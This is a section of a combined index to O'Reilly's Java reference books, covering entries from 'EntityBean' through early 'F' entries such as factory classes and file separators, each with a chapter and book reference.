4.2.4 CabinBean: The Bean Class, Enterprise JavaBeans
6.1.6 Implementing the javax.ejb.EntityBean Interface, Enterprise JavaBeans
6.3 The Life Cycle of an Entity Bean, Enterprise JavaBeans
19. The javax.ejb Package, Java Enterprise in a Nutshell
callback methods defined in: 2.1.1.3 The bean class, Enterprise JavaBeans
EJB API: A.1.9 EntityBean interfaceEJB API EntityBean, Enterprise JavaBeans
implementing in container-managed beans: 6.1.6 Implementing the javax.ejb.EntityBean Interface, Enterprise JavaBeans
EntityContext interface: 2.3 The Bean-Container Contract, Enterprise JavaBeans
4.2.4 CabinBean: The Bean Class, Enterprise JavaBeans
6.1.7 The EntityContext, Enterprise JavaBeans
6.3.2 The Pooled State, Enterprise JavaBeans
defining: 6.2.3 EntityContext, Enterprise JavaBeans
EJB API: A.1.10 EntityContext, Enterprise JavaBeans
getPrimaryKey( ): 6.2.3 EntityContext, Enterprise JavaBeans
primary key, obtaining from: 6.2.8 The ejbLoad( ) and ejbStore( ) Methods, Enterprise JavaBeans
Ready state and: 3.1.1.2 Overview of state transitions, Enterprise JavaBeans
EntityDescriptor class: 2.1.2.1 EJB 1.0: Deployment descriptors, Enterprise JavaBeans
4.2.6 EJB 1.0: The Deployment Descriptor, Enterprise JavaBeans
7.7. Deploying an Enterprise JavaBeans Object, Java Enterprise in a Nutshell
7.7.3. Generating the Container Classes and Deployment Descriptor, Java Enterprise in a Nutshell
7.7.4. Packaging Enterprise JavaBeans, Java Enterprise in a Nutshell
20. The javax.ejb.deployment Package, Java Enterprise in a Nutshell
EJB API: A.2.4 EntityDescriptor, Enterprise JavaBeans
serializing (example): 4.2.6 EJB 1.0: The Deployment Descriptor, Enterprise JavaBeans
entries( ): 25. The java.util.zip Package, Java in a Nutshell
JarFile class: 24. The java.util.jar Package, Java in a Nutshell
entries
JavaSpace: C.1. Overview of JavaSpaces, Java Distributed Computing
keystore: 11.2. The KeyStore Class, Java Security
11.2. The KeyStore Class, Java Security
Entrust Technologies certificate authority: 8.2. Digital Certificates, Java Servlet Programming
Entry class (JavaSpaces): C.2. Entry and EntryRep, Java Distributed Computing
Entry interface (Map): 23. The java.util Package, Java in a Nutshell
EntryReps class (JavaSpaces): C.2. Entry and EntryRep, Java Distributed Computing
entrySet( )
AbstractMap class: 23. The java.util Package, Java in a Nutshell
Map interface: 23. The java.util Package, Java in a Nutshell
23. The java.util Package, Java in a Nutshell
SortedMap interface: 23. The java.util Package, Java in a Nutshell
enumerate( ) (ThreadGroup): 12. The java.lang Package, Java in a Nutshell
enumeration( )
Collections class: 23. The java.util Package, Java in a Nutshell
Enumeration interface: 23. The java.util Package, Java in a Nutshell
Iterator interface vs.: 23. The java.util Package, Java in a Nutshell
Enumeration type: 6.1.3.1 The find methods, Enterprise JavaBeans
multi-entity find methods, returning: 6.2.1 Making the ShipBean a Bean-Managed Entity, Enterprise JavaBeans
enumerations
attributes names (directory entry): 6.9.3. The Attributes Interface, Java Enterprise in a Nutshell
binding objects: 6.6.3. Listing the Bindings of a Context , Java Enterprise in a Nutshell
finder methods: 7.6.2. Finder Methods, Java Enterprise in a Nutshell
IDL: 10.7.5. Enumerations, Java Enterprise in a Nutshell
naming: 22. The javax.naming Package, Java Enterprise in a Nutshell
naming operations: 6.6. Listing the Children of a Context, Java Enterprise in a Nutshell
env-entry element: 10.5.1 Session and Entity Beans, Enterprise JavaBeans
declaration example: 10.5.3 Environment Entries, Enterprise JavaBeans
env-entry-name element: 10.5.3 Environment Entries, Enterprise JavaBeans
env-entry-type, data types in: 10.5.3 Environment Entries, Enterprise JavaBeans
environment
IDL client: 10.10.2.3. Context values, Java Enterprise in a Nutshell
idltojava compiler: 12. Java IDL Tools, Java Enterprise in a Nutshell
RMI activation daemon: 9. RMI Tools, Java Enterprise in a Nutshell
RMI registry: 9. RMI Tools, Java Enterprise in a Nutshell
rmic compiler: 9. RMI Tools, Java Enterprise in a Nutshell
serialver utility (RMI): 9. RMI Tools, Java Enterprise in a Nutshell
Environment class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
environment naming context (JNDI ENC) (see JNDI)
environment properties: 6.2.5 EJB 1.0: EJBContext, Enterprise JavaBeans
accessing, stateless session bean: 7.1.2.6 ProcessPaymentBean: The bean class, Enterprise JavaBeans
EJB 1.1, new features for: D.4 The Default JNDI Context, Enterprise JavaBeans
entity bean with bean-managed persistence, setting for: 6.2.12 EJB 1.0: Deploying the Bean-Managed Ship Bean, Enterprise JavaBeans
vendor- and environment-specific information, defining at deployment: 6.2.6.2 EJB 1.0: Using JDBC in EJB, Enterprise JavaBeans
environment variables: 4. Retrieving Information, Java Servlet Programming
EOFException: 11. The java.io Package, Java in a Nutshell
eolIsSignificant( ): 11. The java.io Package, Java in a Nutshell
equality (==) operator: 2.10.2. Comparing Objects and Arrays, Java in a Nutshell
equals( ): 23. The java.util Package, Java in a Nutshell
23. The java.util Package, Java in a Nutshell
23. The java.util Package, Java in a Nutshell
Arrays class: 23. The java.util Package, Java in a Nutshell
CodeSource class: 5.1. The CodeSource Class, Java Security
Collator class: 22. The java.text Package, Java in a Nutshell
Comparator class: 12. The java.lang Package, Java in a Nutshell
Hashtable class: 23. The java.util Package, Java in a Nutshell
Identity class: B.1.1.1. Using the identity class, Java Security
B.1.1.2. Implementing an Identity class, Java Security
Object class: 12. The java.lang Package, Java in a Nutshell
12. The java.lang Package, Java in a Nutshell
ObjID class: 17. The java.rmi.server Package, Java Enterprise in a Nutshell
D.3. The java.rmi.server Package, Java Distributed Computing
RemoteObject class: 3.2.1. Key RMI Classes for Remote Object Implementations, Java Enterprise in a Nutshell
17. The java.rmi.server Package, Java Enterprise in a Nutshell
D.3. The java.rmi.server Package, Java Distributed Computing
RemoteRef interface: 17. The java.rmi.server Package, Java Enterprise in a Nutshell
UID class: D.3. The java.rmi.server Package, Java Distributed Computing
equals( ) (Object): 5.2.5.3 Comparing beans for identity, Enterprise JavaBeans
6.1.2 The Primary Key, Enterprise JavaBeans
equals (==) operator: 2.5.5. Comparison Operators, Java in a Nutshell
equalsIgnoreCase(^): 12. The java.lang Package, Java in a Nutshell
equivalence, bean instances in instance pool: 3.1.1.2 Overview of state transitions, Enterprise JavaBeans
Error class: 12. The java.lang Package, Java in a Nutshell
12. The java.lang Package, Java in a Nutshell
error-handling mechanisms: 5.7.1. Status Codes, Java Servlet Programming
see also status codes: 5.7.1. Status Codes, Java Servlet Programming
1.3.4. Fault Tolerance Through Exception Handling, Java Distributed Computing
error logs: 13.7.1. Check the Logs, Java Servlet Programming
errors (see also exceptions)
1.3.3. Exceptions, Java in a Nutshell
beans, creating: 19. The javax.ejb Package, Java Enterprise in a Nutshell
binding remote objects to names: 3.4.1. The Registry and Naming Services, Java Enterprise in a Nutshell
I/O: 13. The java.rmi Package, Java Enterprise in a Nutshell
JDBC, handling: 2.7. Handling Errors, Java Enterprise in a Nutshell
log, output stream to: 17. The java.rmi.server Package, Java Enterprise in a Nutshell
marshaling exception: 3.1.2. RMI Architecture, Java Enterprise in a Nutshell
messages, specifying custom: 5.2.6.1. Status codes, Java Enterprise in a Nutshell
remote object URLs: 3.4.1. The Registry and Naming Services, Java Enterprise in a Nutshell
remote sessions: 3.2. Defining Remote Objects, Java Enterprise in a Nutshell
servlets, handling: 5.2.6. Error Handling, Java Enterprise in a Nutshell
SQL return codes: 8.6. Return Codes, Java Enterprise in a Nutshell
escape characters: 2.4.2. The char Type, Java in a Nutshell
escape sequences: 2.12. Escape Sequences, Java Enterprise in a Nutshell
components (JDBC): 2.12. Escape Sequences, Java Enterprise in a Nutshell
dates (example): 2.6.3. Dates and Times, Java Enterprise in a Nutshell
dates (ISO): 2.6.3. Dates and Times, Java Enterprise in a Nutshell
nonprintable characters (IDL): 10.5.4. Character Literals, Java Enterprise in a Nutshell
stored procedures, accessing (JDBC): 2.11. Stored Procedures, Java Enterprise in a Nutshell
escape syntax
JDBC Date: 18. The java.sql Package, Java Enterprise in a Nutshell
JDBC Time: 18. The java.sql Package, Java Enterprise in a Nutshell
EtchedBorder class: 3.10 Borders, Java Foundation Classes
24. The javax.swing.border Package, Java Foundation Classes
EtchedBorderUIResource class: 28. The javax.swing.plaf Package, Java Foundation Classes
EUC-KR (Korean) charset: 12.3.1. Charsets, Java Servlet Programming
evaluate( ), Policy class: 5.3. The Policy Class, Java Security
evaluation, order of: 2.5.1.6. Order of evaluation, Java in a Nutshell
event adapters: 2.6.3 Event Adapters, Java Foundation Classes
Event class: 7.1.2 Applets and the Java 1.0 Event Model, Java Foundation Classes
7.1.2 Applets and the Java 1.0 Event Model, Java Foundation Classes
9. The java.awt Package, Java Foundation Classes
event dispatch thread: 3.6 The Event Dispatch Thread, Java Foundation Classes
event handling: 2.6 Event Handling, Java Foundation Classes
applets: 7.1.2 Applets and the Java 1.0 Event Model, Java Foundation Classes
AWT: 14. The java.awt.event Package, Java Foundation Classes
with inner classes: 2.6.4 Event Handling with Inner Classes, Java Foundation Classes
input events: 2.6.5 Handling Input Events Directly, Java Foundation Classes
Swing: 14. The java.awt.event Package, Java Foundation Classes
custom components and: 3.24.5 Handling Events, Java Foundation Classes
with inner classes: 2.6.4 Event Handling with Inner Classes, Java Foundation Classes
input events: 2.6.5 Handling Input Events Directly, Java Foundation Classes
event listeners: 2.6.2 Event Listeners, Java Foundation Classes
ActionListener interface: 14. The java.awt.event Package, Java Foundation Classes
AWT: 2.6.6 Event Reference, Java Foundation Classes
14. The java.awt.event Package, Java Foundation Classes
ComponentListener interface: 14. The java.awt.event Package, Java Foundation Classes
ItemListener interface: 14. The java.awt.event Package, Java Foundation Classes
KeyListener interface: 14. The java.awt.event Package, Java Foundation Classes
MouseListener interface: 14. The java.awt.event Package, Java Foundation Classes
MouseMotionListener interface: 14. The java.awt.event Package, Java Foundation Classes
registering: 3.24.5 Handling Events, Java Foundation Classes
Swing: 2.6.6 Event Reference, Java Foundation Classes
3.5 Timers, Java Foundation Classes
3.6 The Event Dispatch Thread, Java Foundation Classes
14. The java.awt.event Package, Java Foundation Classes
26. The javax.swing.event Package, Java Foundation Classes
26. The javax.swing.event Package, Java Foundation Classes
TextListener interface: 14. The java.awt.event Package, Java Foundation Classes
WindowListener: 14. The java.awt.event Package, Java Foundation Classes
event logs: 13.7.1. Check the Logs, Java Servlet Programming
7.5.9. Session Binding Events, Java Servlet Programming
event models
conventions/rules for: 7.2. Portability Conventions and Pure Java Rules, Java in a Nutshell
Java 1.1: 2.6.5 Handling Input Events Directly, Java Foundation Classes
event notification (JMS): 1.3.7. JMS: Enterprise Messaging, Java Enterprise in a Nutshell
Event objects (JMS vs.): 1.3.7. JMS: Enterprise Messaging, Java Enterprise in a Nutshell
event queue, access to: 4.3.6. Methods Protecting System Resources, Java Security
Event Service (CORBA): B.2. Event Service, Java Distributed Computing
11.3. Event Service, Java Enterprise in a Nutshell
11.11. Licensing Service, Java Enterprise in a Nutshell
event sources: 2.6.2 Event Listeners, Java Foundation Classes
EventListener interface: 6.1. Bean Basics, Java in a Nutshell
9. The java.beans Package, Java in a Nutshell
EventListenerList class: 26. The javax.swing.event Package, Java Foundation Classes
EventObject class: 2.6.1 Event Objects, Java Foundation Classes
6.1. Bean Basics, Java in a Nutshell
EventQueue class: 9. The java.awt Package, Java Foundation Classes
events: 6.1. Bean Basics, Java in a Nutshell
6.2.6. Events, Java in a Nutshell
ActionEvent class: 14. The java.awt.event Package, Java Foundation Classes
AdjustmentEvent class: 14. The java.awt.event Package, Java Foundation Classes
AWT: 6.6.3. Pros and Cons, Java Distributed Computing
AWTEvent class: 9. The java.awt Package, Java Foundation Classes
AWTEventMulticaster class: 9. The java.awt Package, Java Foundation Classes
bean-context related: 10. The java.beans.beancontext Package, Java in a Nutshell
ComponentEvent class: 14. The java.awt.event Package, Java Foundation Classes
ContainerEvent class: 14. The java.awt.event Package, Java Foundation Classes
conventions for: 6.2.6. Events, Java in a Nutshell
custom components and: 3.24 Custom Components, Java Foundation Classes
distributed: 6.6.2. Distributed Events, Java Distributed Computing
event channels
quality of service: B.2.1. Quality of Service for Channels, Java Distributed Computing
Event class: 7.1.2 Applets and the Java 1.0 Event Model, Java Foundation Classes
9. The java.awt Package, Java Foundation Classes
EventHandler interface (example): 6.6.2. Distributed Events, Java Distributed Computing
EventListener interface: 6.6.1. Event Model Overview, Java Distributed Computing
B.2.3. Comparison to the Java Event Model, Java Distributed Computing
23. The java.util Package, Java in a Nutshell
EventObject class: 6.6.1. Event Model Overview, Java Distributed Computing
23. The java.util Package, Java in a Nutshell
EventQueue class: 9. The java.awt Package, Java Foundation Classes
EventSetDescriptor class: 9. The java.beans Package, Java in a Nutshell
EventTransceiver class (example): 6.6.2. Distributed Events, Java Distributed Computing
FocusEvent class: 14. The java.awt.event Package, Java Foundation Classes
InputEvent class: 14. The java.awt.event Package, Java Foundation Classes
InputMethodEvent class: 14. The java.awt.event Package, Java Foundation Classes
ItemEvent class: 14. The java.awt.event Package, Java Foundation Classes
keyboard: 9. The java.awt Package, Java Foundation Classes
14. The java.awt.event Package, Java Foundation Classes
message passing and: 6.6. Message Passing with Java Events, Java Distributed Computing
MouseEvent class: 14. The java.awt.event Package, Java Foundation Classes
naming conventions: 2.6.6 Event Reference, Java Foundation Classes
notifying beans of: 2.1.1.3 The bean class, Enterprise JavaBeans
notifying of new service class: 10. The java.beans.beancontext Package, Java in a Nutshell
PaintEvent class: 14. The java.awt.event Package, Java Foundation Classes
Swing: 26. The javax.swing.event Package, Java Foundation Classes
target: 7.1.2 Applets and the Java 1.0 Event Model, Java Foundation Classes
TextEvent class: 14. The java.awt.event Package, Java Foundation Classes
WindowEvent class: 14. The java.awt.event Package, Java Foundation Classes
EventType class: 26. The javax.swing.event Package, Java Foundation Classes
26. The javax.swing.event Package, Java Foundation Classes
example source code, obtaining: 0.3. About the Source Code, Java Distributed Computing
examples
access counters: 3.1.3. A Simple Counter, Java Servlet Programming
4.4.6. An Improved Counter, Java Servlet Programming
bar chart: 6.1.1.2. A dynamically generated chart, Java Servlet Programming
Base64 encoding: 8.1.2. Custom Authorization, Java Servlet Programming
chat server: 10.3. Chat Server, Java Servlet Programming
client certificates, examining: 4.4.10. Extra Attributes, Java Servlet Programming
8.3.2. Retrieving SSL Authentication Information, Java Servlet Programming
color image, converting to grayscale: 6.1.3. Image Effects, Java Servlet Programming
compressed content: 6.2. Compressed Content, Java Servlet Programming
connection pool: 9.4.3. Connection Pooling, Java Servlet Programming
cookies: 7.4.2. Shopping Using Persistent Cookies, Java Servlet Programming
credit-card checking: 9.4.1. Using Transactions with JDBC, Java Servlet Programming
current time of day: 10.2. Daytime Server, Java Servlet Programming
database connections: 3.4. Single-Thread Model, Java Servlet Programming
4.1.1. Getting an Init Parameter, Java Servlet Programming
9.2.2. Getting a Connection, Java Servlet Programming
dictionary servlet: 4.4.1. Request Parameters, Java Servlet Programming
email: 13.2. Sending Email, Java Servlet Programming
embedding applet in servlet: 6.1.5.2. A generic applet viewer, Java Servlet Programming
encryption restrictions: 4.3.2. Restricting Access to the United States and Canada, Java Servlet Programming
GIF image generation: 6.1.1.1. A ``Hello World'' image, Java Servlet Programming
greeting user by name: 2.3.3. Handling Form Data, Java Servlet Programming
``Hello World'': 2.3.1. Writing Hello World, Java Servlet Programming
5.2. Sending a Normal Response, Java Servlet Programming
5.4.1. Generating Hello World, Java Servlet Programming
6.1.1.1. A ``Hello World'' image, Java Servlet Programming
12.1. Western European Languages, Java Servlet Programming
in client's language: 12.5.4. Writing To Each His Own, Java Servlet Programming
in Japanese: 12.3.2. Writing Encoded Output, Java Servlet Programming
``¡Hola Mundo!'': 12.1. Western European Languages, Java Servlet Programming
HTML generation: 5.4.2.2. Weather forecast using HTML generation, Java Servlet Programming
HTTP chat applet: 10.3.3. The HTTP Applet, Java Servlet Programming
identifying client machines: 4.3.2. Restricting Access to the United States and Canada, Java Servlet Programming
initialization (init) parameters: 4.1.2. Getting Init Parameter Names, Java Servlet Programming
input stream's content type: 4.4.9.2. Handling POST requests using the input stream, Java Servlet Programming
invalidating a session: 7.5.4. Manually Invalidating a Stale Session, Java Servlet Programming
7.5.6. Manually Invalidating All Stale Sessions, Java Servlet Programming
license key: 4.4.2. Generating a License Key, Java Servlet Programming
login page: 8.1.3. Form-based Custom Authorization, Java Servlet Programming
Oracle JDBC: 9.2.3. Executing SQL Queries, Java Servlet Programming
overwriting \\``CONFIDENTIAL\\'': 6.1.2.1. Drawing over an image, Java Servlet Programming
persistence: 5.3. Using Persistent Connections, Java Servlet Programming
personalized welcome: 4.3.4. A Personalized Welcome, Java Servlet Programming
random redirection: 5.6.2. Redirecting a Request, Java Servlet Programming
removing <BLINK>: 2.5.1. Creating a Servlet Chain, Java Servlet Programming
13.3.1. Improving Deblink with Regular Expressions, Java Servlet Programming
request headers: 4.4.8.1. Accessing header values, Java Servlet Programming
response headers: 2.1.1. Requests, Responses, and Headers, Java Servlet Programming
reusing abilities of another servlet: 11.2.2. Reusing ChatServlet, Java Servlet Programming
selling burritos: 11.3.1.1. Using properties to sell burritos, Java Servlet Programming
11.3.2.1. Using a shared class to sell burritos, Java Servlet Programming
server information: 4.2.1. Getting Information About the Server, Java Servlet Programming
servlet parameter values: 4.4.1. Request Parameters, Java Servlet Programming
session, reporting on: 7.5.8. Session Snoop, Java Servlet Programming
session tracking: 7.5.2. A Hit Count Using Session Tracking, Java Servlet Programming
shopping cart: 7.2. Hidden Form Fields, Java Servlet Programming
with session tracking: 7.5.10. Shopping Using Session Tracking, Java Servlet Programming
SSL connection: 4.4.10. Extra Attributes, Java Servlet Programming
time in local zone: 2.4.1. Writing a Server-Side Include, Java Servlet Programming
unique Connection per client: 9.4.4. Connections as Part of a Session, Java Servlet Programming
uploading files: 4.4.9.3. Receiving files using the input stream, Java Servlet Programming
verifying servlets: 11.1.1. Viewing the Currently Loaded Servlets, Java Servlet Programming
weather forecasting: 5.4.2. Generating a Weather Forecast, Java Servlet Programming
web site
demonstrating servlets: 0.2. About the Examples, Java Servlet Programming
for downloadable code: 0.2. About the Examples, Java Servlet Programming
examples in this book, available from: 0.4 Examples Online, Java Foundation Classes
examples in this book available online: 0.5. Examples Online, Java in a Nutshell
@exception doc-comment tag: 7.3.2. Doc-Comment Tags, Java in a Nutshell
7.3.2. Doc-Comment Tags, Java in a Nutshell
exception( ) (Environment): 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
exception handling: 1.3.4. Fault Tolerance Through Exception Handling, Java Distributed Computing
5.7. When Things Go Wrong, Java Servlet Programming
ExceptionList class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
ExceptionListener interface: 21. The javax.jms Package, Java Enterprise in a Nutshell
exceptions: 5.2.6. Error Handling, Java Enterprise in a Nutshell
1.3.3. Exceptions, Java in a Nutshell
2.6.15. The throw Statement, Java in a Nutshell
access control identities: 7.7.2. Access-Control Deployment Attributes, Java Enterprise in a Nutshell
attributes, invalid: 6.11. Creating Directory Entries, Java Enterprise in a Nutshell
bean class interfaces: 9.5.2 The Business Interface Alternative, Enterprise JavaBeans
bean-managed entity beans, handling: 6.2.2 Exception Handling, Enterprise JavaBeans
bean-managed transactions: 8.7.3 Bean-Managed Transactions, Enterprise JavaBeans
bounds, data (IDL): 10.4.1.1. Mapping strings and characters to Java, Java Enterprise in a Nutshell
certificates: 19. The java.security.cert Package, Java in a Nutshell
checked or unchecked (in transactions): 8.7 EJB 1.0: Exceptions and Transactions, Enterprise JavaBeans
commands (JNDI NamingShell): 6.5.1. The Command Interface, Java Enterprise in a Nutshell
context, destroying: 6.7. Creating and Destroying Contexts, Java Enterprise in a Nutshell
CORBA
mapping to Java: 10.8.2. Mapping Exceptions to Java, Java Enterprise in a Nutshell
standard: 10.8.1. Standard Exceptions, Java Enterprise in a Nutshell
Exception class: 12. The java.lang Package, Java in a Nutshell
12. The java.lang Package, Java in a Nutshell
ExceptionInInitializerError: 12. The java.lang Package, Java in a Nutshell
helper classes (IDL mapping to Java): 10.10.4.1. Helper and holder classes, Java Enterprise in a Nutshell
home interface: 7.4.1. Home Interface, Java Enterprise in a Nutshell
stateless session beans: 7.1.2.5 ProcessPaymentHome: The home interface, Enterprise JavaBeans
IDL interface: 10. IDL Reference, Java Enterprise in a Nutshell
10.8. Exceptions, Java Enterprise in a Nutshell
early binding: 10.10.3.3. IDL early binding, Java Enterprise in a Nutshell
methods: 4.2.1.3. Data members and methods, Java Enterprise in a Nutshell
10.10.2.2. Exceptions, Java Enterprise in a Nutshell
IDL interfaces (inheritance): 10.10.3.2. Constant, type, and exception inheritance, Java Enterprise in a Nutshell
IllegalMonitorStateException: 12. The java.lang Package, Java in a Nutshell
Java RMI: 6.1.4 Java RMI Return Types, Parameters, and Exceptions, Enterprise JavaBeans
name, object not found at specified: 4.4.2.1. Using a naming context, Java Enterprise in a Nutshell
naming (JNDI): 6.2. A JNDI Example, Java Enterprise in a Nutshell
object references, narrowing (CORBA): 4.4. Finding Remote Objects, Java Enterprise in a Nutshell
objects, binding to NamingContext: 4.3.3. Adding Objects to a Naming Context, Java Enterprise in a Nutshell
primary keys, finding: 7.6.2. Finder Methods, Java Enterprise in a Nutshell
remote interface, stateless session beans: 7.1.2.2 ProcessPayment: The remote interface, Enterprise JavaBeans
root cause, specifying (Servlet API Version 2.1): 5.10. The Servlet API 2.1, Java Enterprise in a Nutshell
sequences (IDL), size bounds: 10.7.3.1. Mapping sequences to Java, Java Enterprise in a Nutshell
servlets: 5.2.6.2. Servlet exceptions, Java Enterprise in a Nutshell
SQL return codes: 8.6. Return Codes, Java Enterprise in a Nutshell
subsystem exceptions: 7.1.2.4 PaymentException: An application exception, Enterprise JavaBeans
Throwable interface: 12. The java.lang Package, Java in a Nutshell
12. The java.lang Package, Java in a Nutshell
transactions: B.2.3 EJB 1.1: Interactions Between Exceptions and Transactions, Enterprise JavaBeans
EJB 1.1: 8.6.1 Application Exceptions Versus System Exceptions, Enterprise JavaBeans
unions (IDL), mapping to Java: 10.7.6.1. Mapping unions to Java, Java Enterprise in a Nutshell
exclusive write locks: 8.3.2 Database Locks, Enterprise JavaBeans
exec( ) (Runtime): 11. The java.io Package, Java in a Nutshell
12. The java.lang Package, Java in a Nutshell
13.4. Executing Programs, Java Servlet Programming
13.4.2. Executing the Finger Command, Java Servlet Programming
executable software, server-side components as: 1.1.2 Server-Side Components, Enterprise JavaBeans
execute( )
Command interface: 6.5.1. The Command Interface, Java Enterprise in a Nutshell
Statement interface: 2.5. Statements, Java Enterprise in a Nutshell
executeBatch( )
Statement interface: 2.13.2. Batch Updates, Java Enterprise in a Nutshell
executeCall( ): D.3. The java.rmi.server Package, Java Distributed Computing
executeQuery( ): 7.1.2.3. Statement, Java Distributed Computing
7.1.2.3. Statement, Java Distributed Computing
9.2.3. Executing SQL Queries, Java Servlet Programming
PreparedStatement interface: 18. The java.sql Package, Java Enterprise in a Nutshell
Statement interface: 18. The java.sql Package, Java Enterprise in a Nutshell
executeUpdate( )
PreparedStatement interface: 18. The java.sql Package, Java Enterprise in a Nutshell
9.2.8. Using Prepared Statements, Java Servlet Programming
ResultSet interface: 18. The java.sql Package, Java Enterprise in a Nutshell
Statement interface: 18. The java.sql Package, Java Enterprise in a Nutshell
executing queries: 9.2.3. Executing SQL Queries, Java Servlet Programming
exists( ) (File): 11. The java.io Package, Java in a Nutshell
exit( ): 2.3.5. Handling HEAD Requests, Java Servlet Programming
Runtime class: 12. The java.lang Package, Java in a Nutshell
System class: 12. The java.lang Package, Java in a Nutshell
exitValue( )
Process class: 12. The java.lang Package, Java in a Nutshell
expanding properties: 5.3. The Policy Class, Java Security
expandProperties property: 5.3. The Policy Class, Java Security
expert flag: 38.2.3.1. Member availability and flags, Java Enterprise in a Nutshell
Expires header: 5.6. HTTP Headers, Java Servlet Programming
explicit narrowing of remote references: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject, Enterprise JavaBeans
explicit transaction management: 8.2.3 Transaction Attributes Defined, Enterprise JavaBeans
8.5 Explicit Transaction Management, Enterprise JavaBeans
8.7 EJB 1.0: Exceptions and Transactions, Enterprise JavaBeans
by beans: 8.5 Explicit Transaction Management, Enterprise JavaBeans
Exploring Java book: 0.1.1. What You Need to Know, Java Servlet Programming
-export option (keystore): A.1.6. Examining Keystore Data, Java Security
export regulations (cryptographic technology): 26. The javax.crypto Package, Java in a Nutshell
ExportException class: D.3. The java.rmi.server Package, Java Distributed Computing
17. The java.rmi.server Package, Java Enterprise in a Nutshell
exporting
certificates: A.1.6. Examining Keystore Data, Java Security
cryptographic keys: 10.3. The KeyFactory Class, Java Security
encryption technology: 13.1. Export Restrictions, Java Security
keys from key specification classes: 13.4.2.1. Secret key specifications, Java Security
exportObject( )
Activatable class: 3.6.2. Defining an Activatable Remote Object, Java Enterprise in a Nutshell
3.6.2.1. The Activatable class, Java Enterprise in a Nutshell
3.6.2.2. Implementing an activatable object, Java Enterprise in a Nutshell
14. The java.rmi.activation Package, Java Enterprise in a Nutshell
ServerRef interface: 17. The java.rmi.server Package, Java Enterprise in a Nutshell
expressions: 2.5. Expressions and Operators, Java in a Nutshell
combining, caution with: 2.5.3. String Concatenation Operator, Java in a Nutshell
regular: 13.3. Using Regular Expressions, Java Servlet Programming
searching for: 1.3.2. Power, Java Servlet Programming
statements: 2.6.1. Expression Statements, Java in a Nutshell
extcheck utility: 8. Java Development Tools, Java in a Nutshell
extended attributes: 6.11. Creating Directory Entries, Java Enterprise in a Nutshell
extendibility: 1.2.2. Flexible, Extendible Communication Protocols, Java Distributed Computing
extending class loaders: 3.5. Extensions to the Class Loader, Java Security
extensibility of servlets: 1.3.7. Extensibility and Flexibility, Java Servlet Programming
Extensible Markup Language (see XML)
extension APIs: 1.1.2.1. Server Extension APIs, Java Servlet Programming
extensions, file
.htm: 2.5.3. The Loophole, Java Servlet Programming
.html: 2.5.3. The Loophole, Java Servlet Programming
.jsp: 2.6.1. Using JavaServer Pages, Java Servlet Programming
.shtml: 2.4.1. Writing a Server-Side Include, Java Servlet Programming
2.5.2. Running Deblink, Java Servlet Programming
external programs
executing from servlets: 13.4. Executing Programs, Java Servlet Programming
finger: 13.4.1. Finger, Java Servlet Programming
external resources
connections to: 6.2.6.1 EJB 1.1: Using JDBC in EJB, Enterprise JavaBeans
JDBC URLs, obtaining for vendor-specific: 6.2.6.2 EJB 1.0: Using JDBC in EJB, Enterprise JavaBeans
Externalizable interface: 11. The java.io Package, Java in a Nutshell
2.1.1. Object Serialization and Memory Integrity, Java Security
Externalization Service (CORBA): 11.7. Externalization Service, Java Enterprise in a Nutshell
extra path information: 4.4.3. Path Information, Java Servlet Programming

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: F

factory classes: 3.4.3. Factory Classes, Java Enterprise in a Nutshell
custom, client and server socket: 3.6.2.1. The Activatable class, Java Enterprise in a Nutshell
defining, example: 3.4.3. Factory Classes, Java Enterprise in a Nutshell
filesystems: 6.3.1. Using the InitialContext Class, Java Enterprise in a Nutshell
initial context: 7.8.1. Finding Home Interfaces Through JNDI, Java Enterprise in a Nutshell
InitialContext, creating: 22. The javax.naming Package, Java Enterprise in a Nutshell
JNDI providers (common), listed: 6.3.2. Other Naming Systems, Java Enterprise in a Nutshell
JNDI service provider: 6.3.1. Using the InitialContext Class, Java Enterprise in a Nutshell
JNDI services: 6.2. A JNDI Example, Java Enterprise in a Nutshell
factory methods: 4.7.2 Drawing with Translucent Colors, Java Foundation Classes
factory objects: 4.4.2. Getting Objects from Other Remote Objects, Java Enterprise in a Nutshell
failure( ) (RMIFailureHandler): 17. The java.rmi.server Package, Java Enterprise in a Nutshell
D.3. The java.rmi.server Package, Java Distributed Computing
FastCGI, web site for information: 1.1.1.1. FastCGI, Java Servlet Programming
FastTrack Server: 1.1.2.3. Server-side JavaScript, Java Servlet Programming
fault tolerance: 1.3.4. Fault Tolerance Through Exception Handling, Java Distributed Computing
FeatureDescriptor class: 9. The java.beans Package, Java in a Nutshell
9. The java.beans Package, Java in a Nutshell
9. The java.beans Package, Java in a Nutshell
9. The java.beans Package, Java in a Nutshell
9. The java.beans Package, Java in a Nutshell
fields
capitalization/naming conventions: 7.1. Naming and Capitalization Conventions, Java in a Nutshell
classes: 14. The java.lang.reflect Package, Java in a Nutshell
defaults: 3.2.4. Field Defaults and Initializers, Java in a Nutshell
Field class: 14. The java.lang.reflect Package, Java in a Nutshell
FieldPosition class: 22. The java.text Package, Java in a Nutshell
input, output, and error (system): 12. The java.lang Package, Java in a Nutshell
message headers, listed: 21. The javax.jms Package, Java Enterprise in a Nutshell
NoSuchFieldError: 12. The java.lang Package, Java in a Nutshell
NoSuchFieldException: 12. The java.lang Package, Java in a Nutshell
shadowing: 3.4.5. Shadowing Superclass Fields, Java in a Nutshell
fiendish rogues: 8. Security, Java Servlet Programming
FIFO (first in, first out) strategy: 3.1.1.3 Instance swapping, Enterprise JavaBeans
file access methods: 6.3.7.3. Implementing the file access methods, Java Security
security manager: 4.3.2. Methods Relating to File Access, Java Security
file chooser class: 2.2 Components, Java Foundation Classes
File class: 4.9. Files and Directories, Java in a Nutshell
file extensions
.htm: 2.5.3. The Loophole, Java Servlet Programming
.html: 2.5.3. The Loophole, Java Servlet Programming
.jsp: 2.6.1. Using JavaServer Pages, Java Servlet Programming
.shtml: 2.4.1. Writing a Server-Side Include, Java Servlet Programming
2.5.2. Running Deblink, Java Servlet Programming
-file option (keytool): A.1.2. Adding a Certificate Entry, Java Security
A.1.3. Adding a Key Entry, Java Security
file protocol: 4.11. Networking, Java in a Nutshell
file separators: 8. Java Development Tools, Java in a Nutshell
